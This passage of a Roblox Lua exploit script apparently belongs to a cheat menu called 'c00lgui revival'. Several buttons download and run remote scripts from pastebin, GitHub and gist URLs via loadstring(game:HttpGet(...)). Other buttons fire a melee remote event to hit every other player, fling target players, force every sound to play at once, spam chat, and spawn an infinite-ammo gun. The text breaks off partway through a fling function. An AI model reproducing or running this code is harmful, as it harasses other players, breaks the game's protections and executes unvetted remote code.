button_63.Parent = pres
button_63.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_63.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_63.BorderSizePixel = 3
button_63.Position = UDim2.new(0, 0, 0.261437923, 0)
button_63.Size = UDim2.new(0, 71, 0, 25)
button_63.Font = Enum.Font.SourceSans
button_63.Text = "cK Logo"
button_63.TextColor3 = Color3.fromRGB(255, 255, 255)
button_63.TextSize = 14.000

creds.Name = "creds"
creds.Parent = page4
creds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
creds.BorderColor3 = Color3.fromRGB(255, 0, 0)
creds.BorderSizePixel = 3
creds.Position = UDim2.new(0.5, 0, 0, 0)
creds.Size = UDim2.new(0, 149, 0, 306)
credits.Name = "credits"
credits.Parent = creds
credits.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
credits.BorderColor3 = Color3.fromRGB(255, 0, 0)
credits.BorderSizePixel = 3
credits.Size = UDim2.new(0, 149, 0, 265)
credits.Font = Enum.Font.SourceSans
credits.Text = "Thank you for using c00lgui revival! \nMore updates coming soon! \
n.gg/KkhpkGJdCp "
credits.TextColor3 = Color3.fromRGB(255, 255, 255)
credits.TextSize = 14.000
credits.TextWrapped = true

pgname_4.Name = "pgname"
pgname_4.Parent = page4
pgname_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_4.BorderSizePixel = 3
pgname_4.LayoutOrder = 3
pgname_4.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_4.Size = UDim2.new(0, 300, 0, 40)
pgname_4.ZIndex = 5
pgname_4.Font = Enum.Font.SourceSansBold
pgname_4.Text = "Page 4"
pgname_4.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_4.TextSize = 19.000

-- Scripts:

local function NYNRIT_fake_script() -- cope.LocalScript


local script = Instance.new('LocalScript', cope)

local main = script.Parent.Parent.main


local settings = script.Parent.Parent.settings
local close = script.Parent

close.MouseButton1Down:connect(function()
if close.Text == "Close" then
main.Visible = false
settings.Visible = false
close.Text = "Open"
elseif close.Text == "Open" then
main.Visible = true
settings.Visible = true
close.Text = "Close"
end

end)

end
coroutine.wrap(NYNRIT_fake_script)()
local function VGZZVRN_fake_script() -- fps.fpscheck
local script = Instance.new('LocalScript', fps)

local label = script.Parent

local RunService = game:GetService("RunService")

RunService.RenderStepped:Connect(function(frame)
label.Text = "FPS: "..(math.round(1/frame))
end)
end
coroutine.wrap(VGZZVRN_fake_script)()
local function IYAH_fake_script() -- size.sizecheck
local script = Instance.new('LocalScript', size)

local label = script.Parent

local RunService = game:GetService("RunService")

while true do
label.Text = "Server Size:
"..tostring(game:GetService('Players').NumPlayers)
wait(.5)
end
end
coroutine.wrap(IYAH_fake_script)()
local function PDUUVHM_fake_script() -- time.timecheck
local script = Instance.new('LocalScript', time)

local label = script.Parent

local RunService = game:GetService("RunService")

while true do
label.Text = "Server Time:
"..tostring(game:GetService('Workspace').DistributedGameTime)
wait(.5)
end
end
coroutine.wrap(PDUUVHM_fake_script)()
local function UJXVVWH_fake_script() -- checkrfe.rfecheck
local script = Instance.new('LocalScript', checkrfe)

label = script.Parent

if game:GetService("SoundService").RespectFilteringEnabled == true then


label.Text = "RespectFilteringEnabled is on"
else
label.Text = "RespectFilteringEnabled is of"
end
end
coroutine.wrap(UJXVVWH_fake_script)()
local function BVMU_fake_script() -- sbutton.LocalScript
local script = Instance.new('LocalScript', sbutton)

local sbutton = script.Parent


local addon = script.Parent.Parent

sbutton.MouseButton1Down:connect(function()
if sbutton.Text == "<" then
sbutton.Visible = true
sbutton.Text = ">"
addon.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
else
sbutton.Visible = true
sbutton.Text = "<"
addon.Position = UDim2.new(0.280000001, 3, 0.294999987, 0)
end
end)
end
coroutine.wrap(BVMU_fake_script)()
local function YRGW_fake_script() -- left.flipleft
local script = Instance.new('LocalScript', left)

local right = script.Parent


local one = script.Parent.Parent.page1
local two = script.Parent.Parent.page2
local three = script.Parent.Parent.page3
local four = script.Parent.Parent.page4

right.MouseButton1Down:connect(function()
if three.Visible == true then
one.Visible = false
two.Visible = true
three.Visible = false
four.Visible = false
elseif four.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = true
four.Visible = false
elseif one.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = true
elseif two.Visible == true then
one.Visible = true
two.Visible = false
three.Visible = false
four.Visible = false
end
end)

end
coroutine.wrap(YRGW_fake_script)()
local function UBUJB_fake_script() -- right.flipright
local script = Instance.new('LocalScript', right)

local right = script.Parent


local one = script.Parent.Parent.page1
local two = script.Parent.Parent.page2
local three = script.Parent.Parent.page3
local four = script.Parent.Parent.page4

right.MouseButton1Down:connect(function()
if one.Visible == true then
one.Visible = false
two.Visible = true
three.Visible = false
four.Visible = false
elseif two.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = true
four.Visible = false
elseif three.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = true
elseif four.Visible == true then
one.Visible = true
two.Visible = false
three.Visible = false
four.Visible = false
end
end)

end
coroutine.wrap(UBUJB_fake_script)()
local function GQMYFIM_fake_script() -- button.LocalScript
local script = Instance.new('LocalScript', button)

local button = script.Parent

button.MouseButton1Down:connect(function()
local duration = 999999 -- integer only, no decimals
if game:GetService("SoundService").RespectFilteringEnabled then return
end

local sounds = {}

for i,v in pairs(Game:GetDescendants()) do


if v:IsA("Sound") then
table.insert(sounds,v)
end
end

local con = Game.DescendantAdded:Connect(function(v)


if v:IsA("Sound") then
table.insert(sounds,v)
end
end)
wait(.1)
local start = math.floor(tick())
repeat
for i,v in pairs(sounds) do
v:Play()
v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
task.wait()
end
until math.floor(tick()) == start + duration
con:Disconnect()

for i,v in pairs(sounds) do


v:Stop()
end
end)
end
coroutine.wrap(GQMYFIM_fake_script)()
local function OEFDAQK_fake_script() -- button_2.LocalScript
local script = Instance.new('LocalScript', button_2)
local button = script.Parent

button.MouseButton1Down:connect(function()
--[[
Thomas The Dank Engine:
By: KrystalTeam
Features: Being a dank engine that
kill people
Version: 1.0.0.2
--]]

local p = game.Players.LocalPlayer.Character
local weld = Instance.new("Weld",p.Torso)
weld.Part0 = p.Torso

local train = Instance.new("Part",p.Torso)


train.Anchored = true
train.CanCollide = false
train.Size = Vector3.new(3,2,6)
train.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
weld.Part1 = train
weld.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(180),0)
train.Anchored = false
local TrainMesh = Instance.new("SpecialMesh",train)
TrainMesh.MeshType = Enum.MeshType.FileMesh
TrainMesh.Scale = Vector3.new(0.020,0.020,0.015)
TrainMesh.MeshId = "rbxassetid://431017802"
TrainMesh.TextureId = "rbxassetid://431017809"

local weld2 = Instance.new("Weld",p.Torso)


weld2.Part0 = p.Torso
local Smoke = Instance.new("Part",p.Torso)
Smoke.Anchored = true
Smoke.CanCollide = false
Smoke.Size = Vector3.new(1,1,1)
Smoke.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
weld2.Part1 = Smoke
weld2.C1 = CFrame.new(0,-4,3.5)-- * CFrame.Angles(0,math.rad(180),0)
Smoke.Anchored = false
Smoke.Transparency = 1;

local Particle = Instance.new("ParticleEmitter",Smoke)


Particle.Rate = 50;
Particle.Speed = NumberRange.new(30,60);
Particle.VelocitySpread = 4;
Particle.Texture = "rbxassetid://133619974"

local Light = Instance.new("SpotLight",train)


Light.Angle = 45;
Light.Brightness = 100;
Light.Face = Enum.NormalId.Back;
Light.Range = 30;

spawn(function()
while p.Humanoid.Health ~= 0 do
p.Humanoid.WalkSpeed = 60;
wait();
end
end)

for i,v in pairs(p:GetChildren()) do


if v:IsA("Part") then
v.Transparency = 1;
elseif v:IsA("Hat") then
v:Destroy()
elseif v:IsA("Model") then
v:Destroy()
end
end

local function SFX(id) local s=Instance.new("Sound",p.Torso); s.SoundId


= "rbxassetid://"..id; s.Volume = 1; return s; end
local Debounce = false
train.Touched:connect(function(p)
if Debounce == false then
Debounce = true
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name)
then
if p.Parent.Name ~=
game.Players.LocalPlayer.Name then
spawn(function()
for i, plr in
pairs(game.Players:GetChildren()) do
if plr.Name ~=
game.Players.LocalPlayer.Name then
for i = 1, 10 do

game.ReplicatedStorage.meleeEvent:FireServer(plr)
end
end
end
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
wait()
Debounce = false
end
end)

local Music = SFX(190819252)


Music.Looped = true;
wait(1)
Music:Play();

-----------------------------------------------------------------------
----------

if
game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and
hrp and hrp.Parent) do

game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp =
c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or
c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 +
Vector3.new(0, 10000, 0)

game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent
then
hrp.Velocity = vel
end

game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent
then
hrp.Velocity = vel + Vector3.new(0,
movel, 0)
movel = movel * -1
end
end
end
end
end

fling()
end
end)
end
coroutine.wrap(OEFDAQK_fake_script)()
local function WSOLZXR_fake_script() -- button_3.LocalScript
local script = Instance.new('LocalScript', button_3)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/KdVq9EHW",true))()
end)
end
coroutine.wrap(WSOLZXR_fake_script)()
local function KORGM_fake_script() -- button_4.LocalScript
local script = Instance.new('LocalScript', button_4)

local button = script.Parent

button.MouseButton1Down:connect(function()
-- Lyrics
local lyrics = {

"Spooky Scary Skeletons",


"Send shivers down your spine",
"Shrieking skulls will shock your soul",
"Seal your doom tonight",
"Spooky Scary Skeletons",
"Speak with such a screech",
"You'll shake and shudder in surprise",
"When you hear these zombies shriek",
"We're so sorry skeletons",
"You're so misunderstood",
"You only want to socialize",
"But i don't think we should",
"Cause spooky scary skeletons",
"Shout startling shrilly screams",
"They'll sneak from their sarcophagus",
"And just won't leave you be.",
}

-- Chat function
local function singLyrics()
for _, lyric in ipairs(lyrics) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(lyric, "All")
wait(2.5) -- Adjust the delay as desired
end
end

-- Start singing
singLyrics()
end)
end
coroutine.wrap(KORGM_fake_script)()
local function ZTWGZ_fake_script() -- button_5.LocalScript
local script = Instance.new('LocalScript', button_5)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-
Nameless-Admin-FE-11243"))();
end)
end
coroutine.wrap(ZTWGZ_fake_script)()
local function PKXRUA_fake_script() -- button_6.LocalScript
local script = Instance.new('LocalScript', button_6)

local button = script.Parent


button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/
infiniteyield/master/source'))()
end)
end
coroutine.wrap(PKXRUA_fake_script)()
local function EKIXV_fake_script() -- button_7.LocalScript
local script = Instance.new('LocalScript', button_7)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/
spamer/main/spamererm'))()
end)
end
coroutine.wrap(EKIXV_fake_script)()
local function TBTPQ_fake_script() -- button_8.LocalScript
local script = Instance.new('LocalScript', button_8)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://rawscripts.net/raw/OpFinality_590'))()
end)
end
coroutine.wrap(TBTPQ_fake_script)()
local function XHAG_fake_script() -- button_9.LocalScript
local script = Instance.new('LocalScript', button_9)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/
Illuminati%2520Laser%2520Fling",true))()
end)
end
coroutine.wrap(XHAG_fake_script)()
local function DXFTXQ_fake_script() -- button_10.LocalScript
local script = Instance.new('LocalScript', button_10)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/ScriptHub"))()
end)
end
coroutine.wrap(DXFTXQ_fake_script)()
local function FJHJF_fake_script() -- button_11.LocalScript
local script = Instance.new('LocalScript', button_11)

local button = script.Parent

button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
c1c6ad86b743343aca463a0963c028a5/raw/cb40c5b77119cb52b60428dc3e112a4b479fc258/
qipu's%2520Executor%2520(fixed)"))()
end)
end
coroutine.wrap(FJHJF_fake_script)()
local function RTGO_fake_script() -- button_12.LocalScript
local script = Instance.new('LocalScript', button_12)

local button = script.Parent

button.MouseButton1Down:connect(function()

loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
7c4d164bd1a2726d5e352547c3f98052/raw/77332837d2d6669f50b191a5ecc90da7f6e6690e/
Energize"))()
end)
end
coroutine.wrap(RTGO_fake_script)()
local function WXHMD_fake_script() -- button_13.LocalScript
local script = Instance.new('LocalScript', button_13)

local button = script.Parent

button.MouseButton1Down:connect(function()
wait(0.001);

-----------------------------------------------------------------------
---------------

_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;

_valid_key=function(object,key)
return object[key],key;
end;

_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;

local object=class;

if(type(class)=='string')then

object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;

local parent=props[1];
props[1]=nil;

for i,v in next,props do


local
load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
if(not load)then
load,res,key=pcall(_valid_key,object,i);
end;

if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;

if(parent)then
object.Parent=parent;
end;

return object;
end;
end;

_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;

_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;

_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;

_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or
Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;

_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or
dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;

_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));

return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList
or workspace.FindPartOnRay)(workspace,ray,i);
end;

_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;

_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;

_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;

_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;

local light=_new'part'{
cFrame=CFrame.new(v0,v1);
size=Vector3.new(1,1,1);
color=_RGB(255,255,0);
anchored=true;
inv;
};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};

local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};

_rem(light,0.15);
end;

_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;

_blood=function(pos,count)
for i=1,count do
local p=_new'part'{

rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;

position=pos+Vector3.new(math.random(),math.random(),math.random());
velocity=Vector3.new(math.random(),math.random(),math.random())*50;

size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;

_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;

_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;

if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or
_new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;
h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;

h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);

lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);

_rem(_new'part'{
velocity=CFrame.new(drag.Position,
(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;

local hit,pos=_must(v0,v1,char);

shot_sound:play();

_light(v0,v1);

if(not hit)then return nil;end;

if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;

hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then

end;
else

_blood(pos,math.random(3,6));

hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then

_blood(pos,math.random(3,6));
delay(0.001,function()

_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{

cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{

velocity=CFrame.new(v0,pos).lookVector*20;

cFrame=hit.CFrame*CFrame.new(i,-b,a);

size=Vector3.new(0.5,0.5,0.5);
color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;

-----------------------------------------------------------------------
-----------------

_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;

local arm=char:findFirstChild'Right Arm';


local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
h_weld.Part0=arm;
h_weld.C1=h_weld_cf_active;

weld.Part1=nil;
weld.Part0=nil;

weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};

arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;

val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);

p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));

wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;

_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;

h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;

local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;

_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;

-----------------------------------------------------------------------
-----------------

do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then

main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;

-----------------------------------------------------------------------
-----------------
bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};

list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};

-----------------------------------------------------------------------
-----------------

user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);

url='rbxassetid://%d';
name='dev-uzi';

h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);

assert(hum,'humanoid is not found');

-----------------------------------------------------------------------
-----------------

_clear();

-----------------------------------------------------------------------
-----------------

_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat

_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);

_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);

_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);

_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);

-----------------------------------------------------------------------
-----------------

screen=_new'screenGui'{
name=name;
};

cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};

for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;

for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;

-----------------------------------------------------------------------
-----------------

shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;

bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};

inv=_new'model'{
name=name;
char;
};

handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();

h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};
drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};

tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};

bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};

lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};

coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and
bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);

bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();

--fling part

local Players = game:GetService("Players")


local Mouse = game:GetService("Players").LocalPlayer:GetMouse()

Mouse.Button1Down:Connect(function()
local Target = Mouse.Target
if Target and Target.Parent and Target.Parent:IsA("Model") and
Players:GetPlayerFromCharacter(Target.Parent) then
local PlayerName =
Players:GetPlayerFromCharacter(Target.Parent).Name
local player = game.Players.LocalPlayer
local Targets = {PlayerName}

local Players = game:GetService("Players")


local Player = Players.LocalPlayer

local AllBool = false

local GetPlayer = function(Name)


Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then
table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~=
"others" then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name)
then
return x;
elseif
x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end

local Message = function(_Title, _Text, Time)


print(_Title)
print(_Text)
print(Time)
end

local SkidFling = function(TargetPlayer)


local Character = Player.Character
local Humanoid = Character and
Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart

local TCharacter = TargetPlayer.Character


local THumanoid
local TRootPart
local THead
local Accessory
local Handle

if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid =
TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
